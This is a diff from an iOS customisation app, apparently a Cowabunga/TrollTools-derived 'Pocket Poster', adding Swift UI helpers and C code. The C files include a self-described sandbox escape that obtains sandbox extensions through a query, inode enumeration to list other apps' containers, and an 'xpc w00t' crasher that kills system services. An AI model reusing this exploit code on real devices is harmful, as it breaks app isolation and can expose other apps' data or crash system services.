||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27
|
||||||
|
if (is_group) {
|
||||||
|
query_set_flags(query, 0x0000000800000000ULL);
|
||||||
|
} else {
|
||||||
|
query_set_flags(query, 0x0000008000000000ULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send our query over
|
||||||
|
void *result = query_get_single_result(query);
|
||||||
|
if (!result) {
|
||||||
|
free(part);
|
||||||
|
xpc_release(identifier);
|
||||||
|
query_free(query);
|
||||||
|
dlclose(mgr);
|
||||||
|
return -3; // Outside of sandbox
|
||||||
|
}
|
||||||
|
char *token = copy_sandbox_token(result);
|
||||||
|
if (!token) {
|
||||||
|
free(part);
|
||||||
|
xpc_release(identifier);
|
||||||
|
query_free(query);
|
||||||
|
dlclose(mgr);
|
||||||
|
return -4; // Kernel refused to issue a sandbox extension
|
||||||
|
}
|
||||||
|
|
||||||
|
// Consume our fresh sandbox extension and clean up
|
||||||
|
handle = consume_extension(token);
|
||||||
|
free(token);
|
||||||
|
free(part);
|
||||||
|
xpc_release(identifier);
|
||||||
|
query_free(query);
|
||||||
|
|
||||||
|
dlclose(mgr);
|
||||||
|
return handle;
|
||||||
|
}
|
||||||
|
|
||||||
|
void bad_query_release(int64_t handle) {
|
||||||
|
if (handle < 0) return;
|
||||||
|
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
|
||||||
|
if (release_extension) release_extension(handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
// This still works on 27.0b5
|
||||||
|
// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time)
|
||||||
|
// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer
|
||||||
|
char *bad_query_list(char *path, int64_t max_inode) {
|
||||||
|
struct statfs sfs;
|
||||||
|
// Prefer the target path; fall back to known on-volume roots if sandboxed
|
||||||
|
if (statfs(path, &sfs) != 0) {
|
||||||
|
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fsid_t fsid = sfs.f_fsid;
|
||||||
|
|
||||||
|
size_t cap = 65536;
|
||||||
|
size_t length = 0;
|
||||||
|
size_t path_length = strlen(path);
|
||||||
|
|
||||||
|
char *out = malloc(cap);
|
||||||
|
if (!out) return NULL;
|
||||||
|
out[0] = '\0';
|
||||||
|
|
||||||
|
char buf[1200];
|
||||||
|
for (uint64_t ino = 1; ino <= max_inode; ino++) {
|
||||||
|
ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino);
|
||||||
|
if (n <= 0) continue;
|
||||||
|
|
||||||
|
const char *p = buf;
|
||||||
|
if (strncmp(p, "/private/var/", 13) == 0) p += 8;
|
||||||
|
if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue;
|
||||||
|
if (strchr(p + path_length + 1, '/')) continue;
|
||||||
|
|
||||||
|
size_t need = strlen(p) + 2;
|
||||||
|
if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; }
|
||||||
|
length += snprintf(out + length, cap - length, "%s\n", p);
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
//
|
||||||
|
// bad_query.h
|
||||||
|
// bad_query
|
||||||
|
//
|
||||||
|
// Created by Taj C on 7/21/26.
|
||||||
|
//
|
||||||
|
|
||||||
|
#ifndef bad_query_h
|
||||||
|
#define bad_query_h
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group);
|
||||||
|
char *bad_query_list(char *path, int64_t max_inode);
|
||||||
|
void bad_query_release(int64_t handle);
|
||||||
|
|
||||||
|
#endif /* bad_query_h */
|
||||||
@@ -0,0 +1,110 @@
|
|||||||
|
//
|
||||||
|
// xpc_crash.c
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Ported from Cowabunga / TrollTools helpers.m
|
||||||
|
// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html)
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "xpc_crash.h"
|
||||||
|
#include <string.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <mach-o/dyld.h>
|
||||||
|
|
||||||
|
// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers
|
||||||
|
extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp);
|
||||||
|
extern mach_port_t bootstrap_port;
|
||||||
|
|
||||||
|
struct xpc_w00t {
|
||||||
|
mach_msg_header_t hdr;
|
||||||
|
mach_msg_body_t body;
|
||||||
|
mach_msg_port_descriptor_t client_port;
|
||||||
|
mach_msg_port_descriptor_t reply_port;
|
||||||
|
};
|
||||||
|
|
||||||
|
static mach_port_t get_send_once(mach_port_t recv) {
|
||||||
|
mach_port_t so = MACH_PORT_NULL;
|
||||||
|
mach_msg_type_name_t type = 0;
|
||||||
|
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
return MACH_PORT_NULL;
|
||||||
|
}
|
||||||
|
return so;
|
||||||
|
}
|
||||||
|
|
||||||
|
void xpc_crasher(char *service_name) {
|
||||||
|
mach_port_t client_port = MACH_PORT_NULL;
|
||||||
|
mach_port_t reply_port = MACH_PORT_NULL;
|
||||||
|
mach_port_t service_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("xpc_crasher: unable to look up %s\n", service_name);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (service_port == MACH_PORT_NULL) {
|
||||||
|
printf("xpc_crasher: bad service port for %s\n", service_name);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_t so0 = get_send_once(client_port);
|
||||||
|
mach_port_t so1 = get_send_once(client_port);
|
||||||
|
|
||||||
|
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct xpc_w00t msg;
|
||||||
|
memset(&msg.hdr, 0, sizeof(msg));
|
||||||
|
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||||
|
msg.hdr.msgh_size = sizeof(msg);
|
||||||
|
msg.hdr.msgh_remote_port = service_port;
|
||||||
|
msg.hdr.msgh_id = 'w00t';
|
||||||
|
|
||||||
|
msg.body.msgh_descriptor_count = 2;
|
||||||
|
|
||||||
|
msg.client_port.name = client_port;
|
||||||
|
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
|
||||||
|
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
msg.reply_port.name = reply_port;
|
||||||
|
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||||
|
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
err = mach_msg(&msg.hdr,
|
||||||
|
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||||
|
msg.hdr.msgh_size,
|
||||||
|
0,
|
||||||
|
MACH_PORT_NULL,
|
||||||
|
MACH_MSG_TIMEOUT_NONE,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err));
|
||||||
|
} else {
|
||||||
|
printf("xpc_crasher: sent w00t to %s\n", service_name);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0);
|
||||||
|
if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void restartBackboard(void) {
|
||||||
|
xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
|
||||||
|
}
|
||||||
|
|
||||||
|
void restartFrontboard(void) {
|
||||||
|
// May not kill the calling app on some versions — caller should exit(0) after.
|
||||||
|
xpc_crasher("com.apple.frontboard.systemappservices");
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
//
|
||||||
|
// xpc_crash.h
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t).
|
||||||
|
//
|
||||||
|
|
||||||
|
#ifndef xpc_crash_h
|
||||||
|
#define xpc_crash_h
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
/// Crash an XPC service by name (triggers relaunch of the hosting process).
|
||||||
|
void xpc_crasher(char *service_name);
|
||||||
|
|
||||||
|
/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer
|
||||||
|
void restartBackboard(void);
|
||||||
|
|
||||||
|
/// Respring via crashing com.apple.frontboard.systemappservices
|
||||||
|
void restartFrontboard(void);
|
||||||
|
|
||||||
|
#endif /* xpc_crash_h */
|
||||||
@@ -1,74 +0,0 @@
|
|||||||
//
|
|
||||||
// Alert++.swift
|
|
||||||
// Cowabunga
|
|
||||||
//
|
|
||||||
// Created by sourcelocation on 30/01/2023.
|
|
||||||
//
|
|
||||||
|
|
||||||
import UIKit
|
|
||||||
|
|
||||||
// credit: sourcelocation & TrollTools
|
|
||||||
var currentUIAlertController: UIAlertController?
|
|
||||||
var lastDismissTitle: String?
|
|
||||||
|
|
||||||
|
|
||||||
fileprivate let errorString = NSLocalizedString("Error", comment: "")
|
|
||||||
fileprivate let okString = NSLocalizedString("OK", comment: "")
|
|
||||||
fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
|
|
||||||
|
|
||||||
extension UIApplication {
|
|
||||||
|
|
||||||
func dismissAlert(animated: Bool) {
|
|
||||||
DispatchQueue.main.async {
|
|
||||||
lastDismissTitle = currentUIAlertController?.title
|
|
||||||
currentUIAlertController?.dismiss(animated: animated)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
|
|
||||||
DispatchQueue.main.async {
|
|
||||||
var body = body
|
|
||||||
|
|
||||||
if title == errorString {
|
|
||||||
// append debug info
|
|
||||||
let device = UIDevice.current
|
|
||||||
let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
|
|
||||||
let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
|
|
||||||
let systemVersion = device.systemVersion
|
|
||||||
body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
|
|
||||||
}
|
|
||||||
|
|
||||||
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
|
||||||
if withButton { currentUIAlertController?.addAction(.init(title: okString, style: .cancel)) }
|
|
||||||
self.present(alert: currentUIAlertController!)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
|
|
||||||
DispatchQueue.main.async {
|
|
||||||
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
|
||||||
if !noCancel {
|
|
||||||
currentUIAlertController?.addAction(.init(title: cancelString, style: .cancel))
|
|
||||||
}
|
|
||||||
currentUIAlertController?.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
|
|
||||||
onOK()
|
|
||||||
}))
|
|
||||||
self.present(alert: currentUIAlertController!)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
func change(title: String = errorString, body: String) {
|
|
||||||
DispatchQueue.main.async {
|
|
||||||
currentUIAlertController?.title = title
|
|
||||||
currentUIAlertController?.message = body
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func present(alert: UIAlertController) {
|
|
||||||
if let window = UIApplication.shared.connectedScenes.map({ $0 as? UIWindowScene }).compactMap({ $0 }).first?.windows.first, var topController = window.rootViewController {
|
|
||||||
while let presentedViewController = topController.presentedViewController, presentedViewController.title != lastDismissTitle {
|
|
||||||
topController = presentedViewController
|
|
||||||
}
|
|
||||||
|
|
||||||
topController.present(alert, animated: true)
|
|
||||||
// topController should now be your topmost view controller
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
//
|
||||||
|
// Reorderable.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Created by lemin on 6/22/25.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
protocol Reorderable {
|
||||||
|
associatedtype OrderElement: Equatable
|
||||||
|
var orderElement: OrderElement { get }
|
||||||
|
}
|
||||||
|
|
||||||
|
extension Array where Element: Reorderable {
|
||||||
|
|
||||||
|
func reorder(by preferredOrder: [Element.OrderElement]) -> [Element] {
|
||||||
|
sorted {
|
||||||
|
guard let first = preferredOrder.firstIndex(of: $0.orderElement) else {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
guard let second = preferredOrder.firstIndex(of: $1.orderElement) else {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return first < second
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
//
|
||||||
|
// URLCache+imageCache.swift
|
||||||
|
// Cowabunga
|
||||||
|
//
|
||||||
|
// Created by sourcelocation on 02/02/2023.
|
||||||
|
//
|
||||||
|
|
||||||
|
import CachedAsyncImage
|
||||||
|
import Foundation
|
||||||
|
|
||||||
|
extension URLCache {
|
||||||
|
|
||||||
|
static let imageCache = URLCache(memoryCapacity: 512*1000*1000, diskCapacity: 10*1000*1000*1000)
|
||||||
|
}
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
//
|
||||||
|
// Alert++.swift
|
||||||
|
// Cowabunga
|
||||||
|
//
|
||||||
|
// Created by sourcelocation on 30/01/2023.
|
||||||
|
//
|
||||||
|
|
||||||
|
import UIKit
|
||||||
|
|
||||||
|
// credit: sourcelocation & TrollTools
|
||||||
|
var currentUIAlertController: UIAlertController?
|
||||||
|
var lastDismissTitle: String?
|
||||||
|
|
||||||
|
|
||||||
|
fileprivate let errorString = NSLocalizedString("Error", comment: "")
|
||||||
|
fileprivate let okString = NSLocalizedString("OK", comment: "")
|
||||||
|
fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
|
||||||
|
|
||||||
|
extension UIApplication {
|
||||||
|
|
||||||
|
func dismissAlert(animated: Bool, completion: (() -> Void)? = nil) {
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
lastDismissTitle = currentUIAlertController?.title
|
||||||
|
if let alert = currentUIAlertController {
|
||||||
|
// Always clear pointer first so a follow-up present() won't chain on a dying VC
|
||||||
|
currentUIAlertController = nil
|
||||||
|
alert.dismiss(animated: animated) {
|
||||||
|
completion?()
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Also dismiss any orphaned presented alert
|
||||||
|
if let top = Self.topViewController(), top is UIAlertController {
|
||||||
|
top.dismiss(animated: animated) {
|
||||||
|
completion?()
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
completion?()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
|
||||||
|
// Dismiss any existing alert first so we never stack a buttonless spinner under a new sheet
|
||||||
|
dismissAlert(animated: false) {
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
var body = body
|
||||||
|
|
||||||
|
if title == errorString {
|
||||||
|
// append debug info
|
||||||
|
let device = UIDevice.current
|
||||||
|
let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
|
||||||
|
let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
|
||||||
|
let systemVersion = device.systemVersion
|
||||||
|
body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
|
||||||
|
}
|
||||||
|
|
||||||
|
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
||||||
|
// Always allow dismiss for non-progress alerts; progress uses withButton: false intentionally
|
||||||
|
if withButton {
|
||||||
|
controller.addAction(.init(title: okString, style: .cancel))
|
||||||
|
}
|
||||||
|
currentUIAlertController = controller
|
||||||
|
self.present(alert: controller)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
|
||||||
|
dismissAlert(animated: false) {
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
||||||
|
if !noCancel {
|
||||||
|
controller.addAction(.init(title: cancelString, style: .cancel))
|
||||||
|
}
|
||||||
|
controller.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
|
||||||
|
onOK()
|
||||||
|
}))
|
||||||
|
currentUIAlertController = controller
|
||||||
|
self.present(alert: controller)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func change(title: String = errorString, body: String) {
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
currentUIAlertController?.title = title
|
||||||
|
currentUIAlertController?.message = body
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Top-most VC in the key window (skips being-dismissed alerts when possible).
|
||||||
|
static func topViewController() -> UIViewController? {
|
||||||
|
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
|
||||||
|
let window = scenes
|
||||||
|
.flatMap { $0.windows }
|
||||||
|
.first { $0.isKeyWindow } ?? scenes.first?.windows.first
|
||||||
|
guard var top = window?.rootViewController else { return nil }
|
||||||
|
while let presented = top.presentedViewController {
|
||||||
|
// Prefer not to stop on a controller that is mid-dismiss
|
||||||
|
if presented.isBeingDismissed { break }
|
||||||
|
top = presented
|
||||||
|
}
|
||||||
|
return top
|
||||||
|
}
|
||||||
|
|
||||||
|
func present(alert: UIAlertController) {
|
||||||
|
guard let topController = Self.topViewController() else { return }
|
||||||
|
// If top is already an alert being shown, replace it
|
||||||
|
if let existing = topController as? UIAlertController {
|
||||||
|
existing.dismiss(animated: false) {
|
||||||
|
Self.topViewController()?.present(alert, animated: true)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
topController.present(alert, animated: true)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
//
|
||||||
|
// OpaqueButton.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Created by lemin on 6/21/25.
|
||||||
|
//
|
||||||
|
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
|
struct OpaqueButton: ButtonStyle {
|
||||||
|
var color: Color
|
||||||
|
var textColor: Color
|
||||||
|
var fullwidth: Bool = false
|
||||||
|
|
||||||
|
func makeBody(configuration: Configuration) -> some View {
|
||||||
|
ZStack {
|
||||||
|
if fullwidth {
|
||||||
|
configuration.label
|
||||||
|
.padding(15)
|
||||||
|
.frame(maxWidth: .infinity)
|
||||||
|
.background(color)
|
||||||
|
.cornerRadius(8)
|
||||||
|
.foregroundColor(textColor)
|
||||||
|
} else {
|
||||||
|
configuration.label
|
||||||
|
.padding(15)
|
||||||
|
.background(color)
|
||||||
|
.cornerRadius(8)
|
||||||
|
.foregroundColor(textColor)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
init(color: Color = .blue, textColor: Color = .primary, fullwidth: Bool = false) {
|
||||||
|
self.color = color
|
||||||
|
self.textColor = textColor
|
||||||
|
self.fullwidth = fullwidth
|
||||||
|
}
|
||||||
|
}
|
||||||
File renamed without changes.
@@ -0,0 +1,25 @@
|
|||||||
|
//
|
||||||
|
// CornerRadius++.swift
|
||||||
|
// Cowabunga
|
||||||
|
//
|
||||||
|
// Created by sourcelocation on 30/01/2023.
|
||||||
|
//
|
||||||
|
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
|
extension View {
|
||||||
|
func cornerRadius(_ radius: CGFloat, corners: UIRectCorner) -> some View {
|
||||||
|
clipShape( RoundedCorner(radius: radius, corners: corners) )
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct RoundedCorner: Shape {
|
||||||
|
|
||||||
|
var radius: CGFloat = .infinity
|
||||||
|
var corners: UIRectCorner = .allCorners
|
||||||
|
|
||||||
|
func path(in rect: CGRect) -> Path {
|
||||||
|
let path = UIBezierPath(roundedRect: rect, byRoundingCorners: corners, cornerRadii: CGSize(width: radius, height: radius))
|
||||||
|
return Path(path.cgPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
+3060
-47
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,169 @@
|
|||||||
|
//
|
||||||
|
// File.swift
|
||||||
|
//
|
||||||
|
//
|
||||||
|
// Created by Igor Ferreira on 06/04/2022.
|
||||||
|
//
|
||||||
|
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
|
public extension GIFImage {
|
||||||
|
|
||||||
|
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||||
|
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||||
|
///
|
||||||
|
/// - Parameters:
|
||||||
|
/// - url: URL string of the image. If the string cannot be parsed into URL, this constructor early aborts and returns `nil`
|
||||||
|
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||||
|
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||||
|
/// - placeholder: Image to be used before the source is loaded
|
||||||
|
/// - errorImage: If the stream fails, this image is used
|
||||||
|
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||||
|
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||||
|
init?(
|
||||||
|
url: String,
|
||||||
|
animate: Bool,
|
||||||
|
loop: Bool,
|
||||||
|
placeholder: RawImage = RawImage(),
|
||||||
|
errorImage: RawImage? = nil,
|
||||||
|
frameRate: FrameRate = .dynamic,
|
||||||
|
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||||
|
) {
|
||||||
|
self.init(
|
||||||
|
url: url,
|
||||||
|
animate: .constant(animate),
|
||||||
|
loop: .constant(loop),
|
||||||
|
placeholder: placeholder,
|
||||||
|
errorImage: errorImage,
|
||||||
|
frameRate: frameRate,
|
||||||
|
loopAction: loopAction
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||||
|
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||||
|
///
|
||||||
|
/// - Parameters:
|
||||||
|
/// - url: URL string of the image. If the string cannot be parsed into URL, this constructor early aborts and returns `nil`
|
||||||
|
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||||
|
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||||
|
/// - placeholder: Image to be used before the source is loaded
|
||||||
|
/// - errorImage: If the stream fails, this image is used
|
||||||
|
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||||
|
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||||
|
init?(
|
||||||
|
url: String,
|
||||||
|
animate: Binding<Bool> = Binding.constant(true),
|
||||||
|
loop: Binding<Bool> = Binding.constant(true),
|
||||||
|
placeholder: RawImage = RawImage(),
|
||||||
|
errorImage: RawImage? = nil,
|
||||||
|
frameRate: FrameRate = .dynamic,
|
||||||
|
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||||
|
) {
|
||||||
|
guard let resolvedURL = URL(string: url) else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
self.init(
|
||||||
|
source: GIFSource.remoteURL(resolvedURL),
|
||||||
|
animate: animate,
|
||||||
|
loop: loop,
|
||||||
|
placeholder: placeholder,
|
||||||
|
errorImage: errorImage,
|
||||||
|
frameRate: frameRate,
|
||||||
|
loopAction: loopAction
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||||
|
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||||
|
///
|
||||||
|
/// - Parameters:
|
||||||
|
/// - url: URL of the image. The response is cached using `URLCache`
|
||||||
|
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||||
|
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||||
|
/// - placeholder: Image to be used before the source is loaded
|
||||||
|
/// - errorImage: If the stream fails, this image is used
|
||||||
|
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||||
|
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||||
|
init(
|
||||||
|
url: URL,
|
||||||
|
animate: Bool = true,
|
||||||
|
loop: Bool = true,
|
||||||
|
placeholder: RawImage = RawImage(),
|
||||||
|
errorImage: RawImage? = nil,
|
||||||
|
frameRate: FrameRate = .dynamic,
|
||||||
|
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||||
|
) {
|
||||||
|
self.init(
|
||||||
|
url: url,
|
||||||
|
animate: .constant(animate),
|
||||||
|
loop: .constant(loop),
|
||||||
|
placeholder: placeholder,
|
||||||
|
errorImage: errorImage,
|
||||||
|
frameRate: frameRate,
|
||||||
|
loopAction: loopAction
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||||
|
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||||
|
///
|
||||||
|
/// - Parameters:
|
||||||
|
/// - url: URL of the image. The response is cached using `URLCache`
|
||||||
|
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||||
|
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||||
|
/// - placeholder: Image to be used before the source is loaded
|
||||||
|
/// - errorImage: If the stream fails, this image is used
|
||||||
|
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||||
|
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||||
|
init(
|
||||||
|
url: URL,
|
||||||
|
animate: Binding<Bool> = Binding.constant(true),
|
||||||
|
loop: Binding<Bool> = Binding.constant(true),
|
||||||
|
placeholder: RawImage = RawImage(),
|
||||||
|
errorImage: RawImage? = nil,
|
||||||
|
frameRate: FrameRate = .dynamic,
|
||||||
|
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||||
|
) {
|
||||||
|
self.init(
|
||||||
|
source: GIFSource.remoteURL(url),
|
||||||
|
animate: animate,
|
||||||
|
loop: loop,
|
||||||
|
placeholder: placeholder,
|
||||||
|
errorImage: errorImage,
|
||||||
|
frameRate: frameRate,
|
||||||
|
loopAction: loopAction
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||||
|
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||||
|
///
|
||||||
|
/// - Parameters:
|
||||||
|
/// - request: `URLRequest` of the image. The response is cached using `URLCache`
|
||||||
|
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||||
|
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||||
|
/// - placeholder: Image to be used before the source is loaded
|
||||||
|
/// - errorImage: If the stream fails, this image is used
|
||||||
|
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||||
|
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||||
|
init(
|
||||||
|
request: URLRequest,
|
||||||
|
animate: Binding<Bool> = Binding.constant(true),
|
||||||
|
loop: Binding<Bool> = Binding.constant(true),
|
||||||
|
placeholder: RawImage = RawImage(),
|
||||||
|
errorImage: RawImage? = nil,
|
||||||
|
frameRate: FrameRate = .dynamic,
|
||||||
|
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||||
|
) {
|
||||||
|
self.init(
|
||||||
|
source: GIFSource.remoteRequest(request),
|
||||||
|
animate: animate,
|
||||||
|
loop: loop,
|
||||||
|
